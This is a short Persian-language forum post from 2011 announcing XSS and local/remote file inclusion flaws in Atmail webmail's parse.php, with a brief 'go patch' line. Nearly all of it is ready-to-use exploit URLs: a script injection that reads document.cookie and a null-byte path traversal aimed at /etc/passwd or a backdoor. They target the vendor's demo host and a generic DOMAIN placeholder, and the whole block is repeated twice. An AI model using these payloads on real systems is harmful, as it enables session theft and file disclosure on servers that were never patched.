Yousha
سه شنبه 05 مهر 1390, 21:35 عصر
سلام،
یک در وب میل Atmail (http://atmail.org):
برید Patch کنید:
XSS:
http://demo.atmail.org/parse.php?file=html/%22$this-%3Eusername%22%3Cscript%3Ealert(document.cookie);% 3C/script%3E/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
http://DOMAIN/parse.php?file=html/%22$this-%3Eusername%22%3Cscript%3Ealert(document.cookie);% 3C/script%3E/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
LFI/RFI:
http://demo.atmail.org/parse.php?file=html/../../ETC/PASSWD/SHELL/BACKDOOR%00/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
http://DOMAIN/parse.php?file=html/../../ETC/PASSWD/SHELL/BACKDOOR%00/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
یک در وب میل Atmail (http://atmail.org):
برید Patch کنید:
XSS:
http://demo.atmail.org/parse.php?file=html/%22$this-%3Eusername%22%3Cscript%3Ealert(document.cookie);% 3C/script%3E/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
http://DOMAIN/parse.php?file=html/%22$this-%3Eusername%22%3Cscript%3Ealert(document.cookie);% 3C/script%3E/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
LFI/RFI:
http://demo.atmail.org/parse.php?file=html/../../ETC/PASSWD/SHELL/BACKDOOR%00/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html
http://DOMAIN/parse.php?file=html/../../ETC/PASSWD/SHELL/BACKDOOR%00/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html